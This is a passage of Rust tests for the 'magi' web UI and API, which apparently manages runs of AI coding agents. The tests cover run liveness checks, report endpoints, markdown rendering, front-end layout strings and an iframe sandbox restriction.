13073 "main".to_owned(),
13074 "0123456789abcdef".to_owned(),
13075 "Add a web UI".to_owned(),
13076 Config::default(),
13077 );
13078 state.id = id.to_owned();
13079 state.origin = origin;
13080 let mut value = serde_json::to_value(&state).expect("serialize run");
13081 if let Some(schema) = schema {
13082 value["schema"] = serde_json::json!(schema);
13083 value.as_object_mut().unwrap().remove("origin");
13084 }
13085 let dir = f.runs().join(id);
13086 std::fs::create_dir_all(&dir).expect("run dir");
13087 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
13088 };
13089 write(
13090 "20260930-092817-ec34",
13091 Some(crate::run::Origin::from_agent_env(
13092 Some(("4a7b".to_owned(), "chat".to_owned())),
13093 None,
13094 )),
13095 None,
13096 );
13097 write("20260930-092817-0ld1", None, Some(12));
13098
13099 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
13100 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
13101 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
13102
13103 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
13104 assert_eq!(
13105 old["origin_label"], "origin unknown (started before origins were recorded)",
13106 "{old}"
13107 );
13108 assert!(old["origin"].is_null(), "{old}");
13109
13110 let list = f.get("/api/runs").await.json();
13111 let labels: Vec<_> = list
13112 .as_array()
13113 .unwrap()
13114 .iter()
13115 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
13116 .collect();
13117 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
13118 }
13119
13120 #[tokio::test]
13127 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
13128 let f = Fixture::start().await;
13129 let id = "20260922-090000-cccc";
13130 let mut state = RunState::new(
13131 PathBuf::from("/repo/magi"),
13132 "main".to_owned(),
13133 "0123456789abcdef".to_owned(),
13134 "Review only".to_owned(),
13135 Config::default(),
13136 );
13137 state.id = id.to_owned();
13138 state.status = RunStatus::Reviewing;
13139 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
13140 state.driver_pid = Some(std::process::id());
13146 state.driver_started_at = Some(
13147 crate::proc::process_started_at(std::process::id())
13148 .expect("this test process's own start time must be queryable"),
13149 );
13150 let dir = f.runs().join(id);
13151 std::fs::create_dir_all(&dir).expect("run dir");
13152 std::fs::write(
13153 dir.join("run.json"),
13154 serde_json::to_string_pretty(&state).expect("serialize run"),
13155 )
13156 .expect("write run.json");
13157
13158 let detail = f.get(&format!("/api/runs/{id}")).await.json();
13159 assert_eq!(detail["live"], "live", "{detail}");
13160 }
13161
13162 #[tokio::test]
13168 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
13169 let f = Fixture::start().await;
13170 let id = "20260922-090100-dddd";
13171 let mut state = RunState::new(
13172 PathBuf::from("/repo/magi"),
13173 "main".to_owned(),
13174 "0123456789abcdef".to_owned(),
13175 "Review only".to_owned(),
13176 Config::default(),
13177 );
13178 state.id = id.to_owned();
13179 state.status = RunStatus::Reviewing;
13180 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
13181 state.driver_pid = Some(std::process::id());
13186 state.driver_started_at = Some("1".to_owned());
13187 let dir = f.runs().join(id);
13188 std::fs::create_dir_all(&dir).expect("run dir");
13189 std::fs::write(
13190 dir.join("run.json"),
13191 serde_json::to_string_pretty(&state).expect("serialize run"),
13192 )
13193 .expect("write run.json");
13194
13195 let detail = f.get(&format!("/api/runs/{id}")).await.json();
13196 assert_eq!(detail["live"], "dead", "{detail}");
13197 }
13198
13199 #[test]
13203 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
13204 let mk = |id: &str, pid: Option<u32>| {
13205 let mut s = RunState::new(
13206 PathBuf::from("/repo/magi"),
13207 "main".to_owned(),
13208 "0123456789abcdef".to_owned(),
13209 "Add a web UI".to_owned(),
13210 Config::default(),
13211 );
13212 s.id = id.to_owned();
13213 s.driver_pid = pid;
13214 s.driver_started_at = Some("1790000000".to_owned());
13215 s
13216 };
13217 let states = vec![
13218 mk("20260902-140502-aaaa", Some(77)),
13219 mk("20260902-140502-bbbb", Some(77)),
13220 mk("20260902-140502-cccc", Some(77)),
13221 mk("20260902-140502-dddd", None),
13222 ];
13223 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
13224 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
13225 let sup: HashMap<String, String> = [(
13226 "20260902-140502-aaaa".to_owned(),
13227 "20260902-140502-cccc".to_owned(),
13228 )]
13229 .into();
13230
13231 let status_calls = std::cell::Cell::new(0);
13232 let identity_calls = std::cell::Cell::new(0);
13233 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
13234 |_| {
13235 status_calls.set(status_calls.get() + 1);
13236 Some(true)
13237 },
13238 |_| {
13239 identity_calls.set(identity_calls.get() + 1);
13240 Some("1790000000".to_owned())
13241 },
13242 ));
13243 let rows = summarize(
13244 states,
13245 &open,
13246 &claimed,
13247 &sup,
13248 |p| probe.borrow_mut().status(p),
13249 |p| probe.borrow_mut().started_at(p),
13250 );
13251
13252 assert_eq!(status_calls.get(), 1, "one pid, one status query");
13253 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
13254 assert_eq!(rows.len(), 4);
13255 assert!(!rows[0].waiting && rows[1].waiting);
13256 assert_eq!(rows[0].live, crate::run::Liveness::Live);
13257 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
13258 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
13259 assert_eq!(rows[1].superseded_by, None);
13260 }
13261
13262 #[test]
13263 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
13264 let mut state = RunState::new(
13265 PathBuf::from("/repo/magi"),
13266 "main".to_owned(),
13267 "0123456789abcdef".to_owned(),
13268 "Review only".to_owned(),
13269 Config::default(),
13270 );
13271 state.id = "20260922-090200-dead".to_owned();
13272 state.status = RunStatus::Reviewing;
13273 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
13274 .expect("serialize list row");
13275 assert_eq!(row["status"], "reviewing");
13276 assert_eq!(row["live"], "dead", "{row}");
13277 assert!(!row["done"].as_bool().unwrap());
13278 }
13279
13280 #[tokio::test]
13281 async fn the_run_list_is_newest_first_and_honours_a_limit() {
13282 let f = Fixture::start().await;
13283 for id in [
13284 "20260902-140501-aaaa",
13285 "20260902-140502-bbbb",
13286 "20260902-140503-cccc",
13287 ] {
13288 write_run(&f.runs(), id, RunStatus::Merged);
13289 }
13290
13291 let all = f.get("/api/runs").await.json();
13292 let capped = f.get("/api/runs?limit=2").await.json();
13293
13294 assert_eq!(all[0]["id"], "20260902-140503-cccc");
13295 assert_eq!(all.as_array().map(Vec::len), Some(3));
13296 assert_eq!(capped.as_array().map(Vec::len), Some(2));
13297 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
13298 }
13299
13300 #[tokio::test]
13301 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
13302 let f = Fixture::start().await;
13303 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
13304
13305 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
13306
13307 assert_eq!(res.status, 200);
13308 assert!(
13309 res.headers
13310 .contains("content-type: text/plain; charset=utf-8"),
13311 "a browser must render it, not download it: {}",
13312 res.headers
13313 );
13314 assert!(
13318 res.body.contains("20260902-140501-a1b2"),
13319 "the report is about the run that was asked for: {}",
13320 res.body
13321 );
13322 }
13323
13324 #[tokio::test]
13325 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
13326 crate::run::pin_test_home();
13328 let f = Fixture::start().await;
13329 let id = "20260902-140501-a1b2";
13330 write_run(&f.runs(), id, RunStatus::Stalled);
13331 let path = f.runs().join(id).join("run.json");
13334 let mut v: serde_json::Value =
13335 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
13336 v["tally"] = serde_json::json!({
13337 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
13338 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
13339 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
13340 "met_quorum": false, "rankings": 1
13341 });
13342 v["reviews"] = serde_json::json!([{
13343 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
13344 "e2e_deferred": true,
13345 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
13346 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
13347 ]}]
13348 }]);
13349 std::fs::write(&path, v.to_string()).unwrap();
13350 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
13351 std::fs::write(
13352 f.runs().join("20260902-140502-dead").join("run.json"),
13353 "{not json",
13354 )
13355 .unwrap();
13356
13357 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
13358
13359 assert_eq!(res.status, 200, "{}", res.body);
13360 assert!(res.headers.contains("content-type: application/json"));
13361 let j = res.json();
13362 assert_eq!(j["schema"], 1);
13363 assert_eq!(j["header"]["id"], id);
13364 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
13365 let kinds: Vec<&str> = j["sections"]
13366 .as_array()
13367 .unwrap()
13368 .iter()
13369 .map(|s| s["kind"].as_str().unwrap())
13370 .collect();
13371 assert_eq!(kinds, ["candidates", "tally", "review"]);
13372 let tally = &j["sections"][1]["tally"];
13373 assert_eq!(
13374 (tally["decided"].clone(), tally["provisional"].clone()),
13375 (false.into(), true.into())
13376 );
13377 let round = &j["sections"][2]["rounds"][0];
13378 assert_eq!(round["e2e"]["state"], "deferred");
13379 assert_eq!(round["findings"][0]["severity"], "major");
13380 assert_eq!(round["findings"][0]["blocking"], true);
13381 assert_eq!(round["findings"][0]["state"], "open");
13382
13383 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
13385
13386 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
13388 assert_ne!(bad.status, 200, "{}", bad.body);
13389 assert_eq!(
13390 bad.status,
13391 f.get("/api/runs/20260902-140502-dead/report").await.status
13392 );
13393 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
13394 assert_eq!(
13395 f.get("/api/runs/20260902-999999-ffff/report.json")
13396 .await
13397 .status,
13398 404
13399 );
13400 }
13401
13402 #[tokio::test]
13403 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
13404 let f = Fixture::start().await;
13405
13406 let html = f.get("/").await;
13407 let css = f.get("/app.css").await;
13408 let js = f.get("/app.js").await;
13409
13410 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
13411 assert!(
13412 html.headers
13413 .contains("content-type: text/html; charset=utf-8")
13414 );
13415 assert!(css.headers.contains("content-type: text/css"));
13416 assert!(js.headers.contains("content-type: text/javascript"));
13417 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
13418 }
13419
13420 #[test]
13421 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
13422 let body = |name: &str| {
13423 let at = APP_JS
13424 .find(name)
13425 .unwrap_or_else(|| panic!("{name} missing"));
13426 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
13427 };
13428 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
13429 let note = body("function landRoundNote");
13430 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
13431 assert!(note.contains("Land round ${round}"));
13432 let land = body("function renderLand");
13433 let note_at = land
13434 .find("landRoundNote(pr)")
13435 .expect("renderLand uses the note");
13436 assert!(
13437 note_at
13438 < land
13439 .find("roundRail(pr)")
13440 .expect("renderLand uses the rail")
13441 );
13442 }
13443
13444 #[test]
13445 fn the_runs_page_redesign_keeps_its_guards() {
13446 let body = |name: &str| {
13447 let at = APP_JS
13448 .find(name)
13449 .unwrap_or_else(|| panic!("{name} missing"));
13450 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
13451 };
13452 let land = body("function renderLand");
13454 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
13455 assert!(
13456 !land.contains("box.append("),
13457 "renderLand must use append()"
13458 );
13459 assert!(land.contains("append(box, ["));
13460 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
13462 assert!(
13463 body("function applyRoute")
13464 .contains("route.name !== state.route.name || route.id !== state.route.id")
13465 );
13466 assert!(!APP_JS.contains("adviseConvergeDiagram"));
13468 assert!(!INDEX_HTML.contains("advise-converge"));
13469 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
13470 assert!(APP_JS.contains("provisional"));
13471 for id in [
13472 "run-tab-overview",
13473 "run-tab-timeline",
13474 "run-tab-report",
13475 "run-report",
13476 "runs-scope",
13477 ] {
13478 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
13479 }
13480 assert!(!INDEX_HTML.contains("runs-tree"));
13481 assert!(!INDEX_HTML.contains("run-raw-panel"));
13482 assert!(APP_JS.contains("resume"));
13484 assert!(APP_JS.contains("unreadable"));
13486 }
13487
13488 #[test]
13489 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
13490 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
13491 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
13492 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
13493 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
13494 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
13495 assert!(APP_JS.contains("unreadable` : null"));
13497 }
13498
13499 #[test]
13500 fn the_run_detail_payload_says_whether_the_run_is_done() {
13501 for (status, done) in [
13503 (RunStatus::Superseded, true),
13504 (RunStatus::Blocked, true),
13505 (RunStatus::Landing, false),
13506 ] {
13507 let mut state = RunState::new(
13508 std::path::PathBuf::from("/repo"),
13509 "main".to_owned(),
13510 "abc".to_owned(),
13511 "x".to_owned(),
13512 crate::config::Config::default(),
13513 );
13514 state.status = status;
13515 let v = serde_json::to_value(RunDetailView::of(
13516 state,
13517 crate::run::Liveness::Unknown,
13518 None,
13519 None,
13520 None,
13521 ))
13522 .unwrap();
13523 assert_eq!(v["done"], done, "{status:?}");
13524 }
13525 }
13526
13527 fn has_strong(nodes: &[md::Node]) -> bool {
13529 serde_json::to_string(nodes).unwrap().contains("strong")
13530 }
13531
13532 #[test]
13533 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
13534 let mut state = RunState::new(
13535 std::path::PathBuf::from("/repo"),
13536 "main".to_owned(),
13537 "abc".to_owned(),
13538 "x".to_owned(),
13539 crate::config::Config::default(),
13540 );
13541 let proposal = |approach: &str| {
13542 serde_json::json!({
13543 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
13544 })
13545 };
13546 state.advice = Some(
13547 serde_json::from_value(serde_json::json!({
13548 "records": [
13549 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
13550 "proposal": proposal("do **this**")},
13551 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
13552 ],
13553 "synthesis": "- one\n- **two**\n\n`code`",
13554 }))
13555 .unwrap(),
13556 );
13557 state.candidates = serde_json::from_value(serde_json::json!([
13558 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
13559 "summary": "did **it**"},
13560 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
13561 ]))
13562 .unwrap();
13563 state.reviews = serde_json::from_value(serde_json::json!([{
13566 "round": 1, "head": "h",
13567 "reviews": [{
13568 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
13569 "findings": [
13570 {"severity": "nit", "title": "t1", "detail": "plain nit"},
13571 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
13572 ],
13573 }],
13574 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
13575 "fix": {"agent": "a", "notes": "fixed **it**",
13576 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
13577 }, {"round": 2, "head": "h2", "reviews": []}]))
13578 .unwrap();
13579
13580 let v = serde_json::to_value(RunDetailView::of(
13581 state,
13582 crate::run::Liveness::Unknown,
13583 None,
13584 None,
13585 None,
13586 ))
13587 .unwrap();
13588
13589 let strong = |p: &str| {
13590 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
13591 assert!(n.to_string().contains("strong"), "{p}: {n}");
13592 };
13593 strong("/advice_md/synthesis");
13594 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
13595 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
13596 strong("/advice_md/approaches/0");
13597 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
13598 strong("/candidate_summaries_md/0");
13599 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
13600 strong("/reviews_md/0/reviewers/0/summary");
13601 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
13602 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
13603 assert!(f[1].to_string().contains("strong"));
13604 strong("/reviews_md/0/reconsideration/0");
13605 strong("/reviews_md/0/fix/notes");
13606 strong("/reviews_md/0/fix/rejected/0");
13607 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
13608 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
13609 assert_eq!(v["candidates"][0]["summary"], "did **it**");
13611 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
13612 }
13613
13614 #[test]
13615 fn a_run_without_advice_has_no_advice_md() {
13616 let state = RunState::new(
13617 std::path::PathBuf::from("/repo"),
13618 "main".to_owned(),
13619 "abc".to_owned(),
13620 "x".to_owned(),
13621 crate::config::Config::default(),
13622 );
13623 let p = run_prose_md(&state);
13624 assert!(p.advice_md.is_none());
13625 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
13626 }
13627
13628 #[test]
13629 fn a_question_view_carries_markdown_for_each_thread_turn() {
13630 let home = TempDir::new().unwrap();
13631 let store = ask::Questions::at(home.path().join("questions"));
13632 let mut q = Question::new(
13633 "run".to_owned(),
13634 "implement".to_owned(),
13635 "impl-A".to_owned(),
13636 "which?".to_owned(),
13637 String::new(),
13638 Vec::new(),
13639 );
13640 q.say("plain words").unwrap();
13641 q.reply("use **this**", Vec::new()).unwrap();
13642 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13643 let bodies = &v["thread_bodies_md"];
13644 assert_eq!(bodies.as_array().unwrap().len(), 2);
13645 assert!(!bodies[0].to_string().contains("strong"));
13646 assert!(bodies[1].to_string().contains("strong"));
13647 }
13648
13649 #[test]
13650 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
13651 let home = TempDir::new().unwrap();
13652 let store = ask::Questions::at(home.path().join("questions"));
13653 let mut q = Question::new(
13654 "run".to_owned(),
13655 "conduct".to_owned(),
13656 "conduct".to_owned(),
13657 "which?".to_owned(),
13658 String::new(),
13659 Vec::new(),
13660 );
13661 q.say("plain words").unwrap();
13662 q.thread.push(ask::Turn {
13663 who: ask::Who::Agent,
13664 body: "Settled as `merge`".to_owned(),
13665 at: jiff::Timestamp::now(),
13666 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
13667 });
13668 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13669 let notes = &v["thread_notes_md"];
13670 assert_eq!(notes.as_array().unwrap().len(), 2);
13671 assert!(notes[0].is_null());
13672 let text = notes[1].to_string();
13673 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
13674 assert!(APP_JS.contains("ask-turn-note"));
13675 }
13676
13677 #[test]
13678 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
13679 assert!(APP_JS.contains("function landView(run, raw) {"));
13683 assert!(
13684 APP_JS.contains(
13685 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
13686 )
13687 );
13688 assert!(APP_JS.contains("const pr = landView(run, raw);"));
13689 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
13690 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
13691 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
13692 }
13693
13694 #[test]
13695 fn live_runs_are_never_hidden_or_folded_as_superseded() {
13696 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
13697 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
13698 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
13699 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
13700 }
13701
13702 #[test]
13703 fn review_rounds_label_a_distinct_verified_head() {
13704 assert!(APP_JS.contains("round.verified_head"));
13705 assert!(APP_JS.contains("verified HEAD"));
13706 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
13707 }
13708
13709 #[test]
13710 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
13711 assert!(APP_JS.contains("blocked: { glyph:"));
13715 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
13716
13717 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
13721 assert!(
13722 APP_JS.contains(
13723 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
13724 ),
13725 "the note line must name what a blocked task is waiting on, not just that it is blocked"
13726 );
13727 assert!(APP_JS.contains("if (status === \"blocked\") {"));
13731
13732 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
13736 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
13737 assert!(
13738 APP_JS.contains("location.hash = \"#/questions\";"),
13739 "a question node must jump to the Questions screen, not pretend to be a task"
13740 );
13741
13742 assert!(APP_JS.contains("Resolved questions"));
13745 assert!(APP_JS.contains("r.answersList.append("));
13746 assert!(APP_CSS.contains(".task-answers"));
13747 {
13748 let start = APP_JS
13749 .find("function updateTalkTaskRow")
13750 .expect("updateTalkTaskRow");
13751 let body = &APP_JS[start..];
13752 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
13753 assert!(
13754 body.contains(
13755 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
13756 ),
13757 "a chat-filed task row must link to the task page"
13758 );
13759 assert!(
13760 !body.contains("#/runs/") && !body.contains("#/queue/"),
13761 "the row must not branch to a run or the queue card"
13762 );
13763 assert!(APP_CSS.contains(".talk-task-link"));
13764 }
13765 }
13766
13767 #[test]
13768 fn a_task_notification_links_to_the_task_page() {
13769 let start = APP_JS
13771 .find("function noticeLink(")
13772 .expect("noticeLink exists");
13773 let body = &APP_JS[start..];
13774 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
13775 assert!(
13776 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
13777 "a task notice's link must target the task page"
13778 );
13779 assert!(
13780 !body.contains("#/queue/"),
13781 "regression: the task link must not go back to the Backlog route"
13782 );
13783 assert!(
13784 APP_JS.contains(
13785 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
13786 ),
13787 "`#/tasks/<id>` must parse into the task route"
13788 );
13789
13790 assert!(
13792 APP_JS.contains(
13793 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
13794 ),
13795 "`#/queue/<id>` must parse into a route carrying that id"
13796 );
13797
13798 assert!(APP_JS.contains("state.queueFocus = route.id;"));
13802 assert!(APP_JS.contains("function consumeQueueFocus()"));
13803 assert!(APP_JS.contains("jumpToTask(id)"));
13804 }
13805
13806 #[test]
13809 fn chat_rows_put_the_title_alone_on_the_first_line() {
13810 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
13811 assert!(APP_CSS.contains(
13812 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
13813 ));
13814 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
13815 assert!(APP_JS.contains("class: \"badge talk-unread\""));
13816 }
13817
13818 #[test]
13819 fn run_rows_put_the_title_alone_on_the_first_line() {
13820 assert!(
13821 APP_CSS.contains(
13822 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
13823 )
13824 );
13825 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
13826 assert!(APP_JS.contains("class: \"card run-card\""));
13827 assert!(APP_JS.contains("class: \"repo run-id\""));
13828 }
13829
13830 #[test]
13834 fn wide_screens_show_list_and_preview_side_by_side() {
13835 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
13837 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
13838 assert!(APP_CSS.contains("main[data-split]"));
13839 assert!(APP_CSS.contains("body[data-split]"));
13840
13841 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
13843 assert!(
13844 APP_JS.contains(
13845 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
13846 )
13847 );
13848 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
13849 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
13850 assert!(INDEX_HTML.contains("id=\"split-empty\""));
13851
13852 assert!(APP_JS.contains("function markSelected() {"));
13854 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
13855 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
13856 assert!(
13858 APP_CSS.contains(
13859 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
13860 )
13861 );
13862
13863 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
13865 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
13866 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
13867 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
13868
13869 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
13873 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
13874 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
13875 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
13876
13877 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
13879 }
13880
13881 #[test]
13882 fn panel_sandbox_carries_exactly_popups() {
13883 let needle = "sandbox: \"";
13884 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
13885 assert_eq!(
13886 matches.len(),
13887 1,
13888 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
13889 );
13890 let start = matches[0].0 + needle.len();
13891 let end = APP_JS[start..]
13892 .find('"')
13893 .expect("sandbox attribute value must be terminated by a closing quote");
13894 let val = &APP_JS[start..start + end];
13895 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
13896 let expected: std::collections::BTreeSet<&str> =
13897 ["allow-popups", "allow-popups-to-escape-sandbox"]
13898 .into_iter()
13899 .collect();
13900 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
13901 assert!(
13902 !tokens.contains("allow-scripts"),
13903 "allow-scripts must never be present in sandbox"
13904 );
13905 assert!(
13906 !tokens.contains("allow-same-origin"),
13907 "allow-same-origin must never be present in sandbox"
13908 );
13909 }
13910
13911 #[test]
13912 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
13913 assert!(
13922 APP_JS.contains(
13923 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
13924 ),
13925 "the search-clearing branch must run before state.queueFocus is cleared, or the \
13926 recursive renderQueue() call has nothing left to jump to"
13927 );
13928 assert!(
13929 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
13930 "state.queueFocus must be cleared only once the jump has landed, so a card that \
13931 arrives later still gets it"
13932 );
13933 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
13934 assert!(APP_JS.contains("is not in the current Backlog."));
13935 assert!(APP_JS.contains("li.card[data-task-id=\""));
13936 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
13937 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
13938 assert!(APP_CSS.contains(".card-permalink"));
13939 assert!(APP_CSS.contains(".queue-focus-status"));
13940 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
13941 }
13942
13943 #[test]
13944 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
13945 assert!(
13953 APP_JS.contains(
13954 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
13955 ),
13956 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
13957 );
13958 }
13959
13960 #[test]
13961 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
13962 assert!(
13963 APP_JS.contains("round.verified_head !== round.head"),
13964 "a round that verified an earlier commit must be visibly distinct from one that \
13965 verified the head reviewers are looking at now"
13966 );
13967 assert!(
13968 APP_JS.contains("round.verified_at"),
13969 "when a check ran must be on the wire, not just which commit"
13970 );
13971 assert!(
13972 APP_JS.contains("resource_blocked"),
13973 "a command magi never got to run (shared build cache contention) must not render \
13974 the same as a command that ran and failed"
13975 );
13976 }
13977
13978 #[test]
13979 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
13980 assert!(
13988 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
13989 "every KPI tile built through statusTile() must route its click through \
13990 openRunsFiltered, the single place that sets the Runs filter"
13991 );
13992 for (label, status) in [
13993 ("Merged", "merged"),
